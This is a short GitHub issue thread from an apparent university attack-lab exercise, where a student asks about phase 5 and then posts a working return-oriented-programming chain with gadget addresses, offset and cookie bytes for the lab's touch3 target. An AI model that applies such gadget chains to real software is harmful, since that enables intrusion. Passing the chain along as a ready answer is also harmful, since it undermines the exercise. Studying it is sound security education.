Attack-Lab icon indicating copy to clipboard operation
Attack-Lab copied to clipboard

help with phase5

Open mahmoudhamdy opened this issue 9 years ago • 1 comments

thanks alot for your notes for the previous phases, i tried to solve phase5 but im stuck can you give me a hand ? ..

my asm code:

padding mov rsp,rax mov rax,rdi pop rax gap from gadget1 to cookie mov edx,ecx mov ecx,esi lea (rdi,rsi,1),rax mov rax,rdi touch 3 cookie

i checked the whole addresses more than 3 times but it seems it doesn't exploit touch3 as it causes segement failure .. i am not sure of what value should be the gap ?

mahmoudhamdy avatar Nov 11 '17 00:11 mahmoudhamdy

i found the mistake with my formula should be padding ok mov rsp,rax 401adb ok mov rax,rdi 401a8d ok pop rax 401a9c ok gap 48 mov eax,edx 401b8b ok mov edx,ecx 401ad4 ok mov ecx,esi 401ace ok lea 401ab9 ok mov rax,rdi 401a8d ok touch 3 4019de cookie 36 65 38 63 32 65 32 36 00 thanks again

mahmoudhamdy avatar Nov 11 '17 00:11 mahmoudhamdy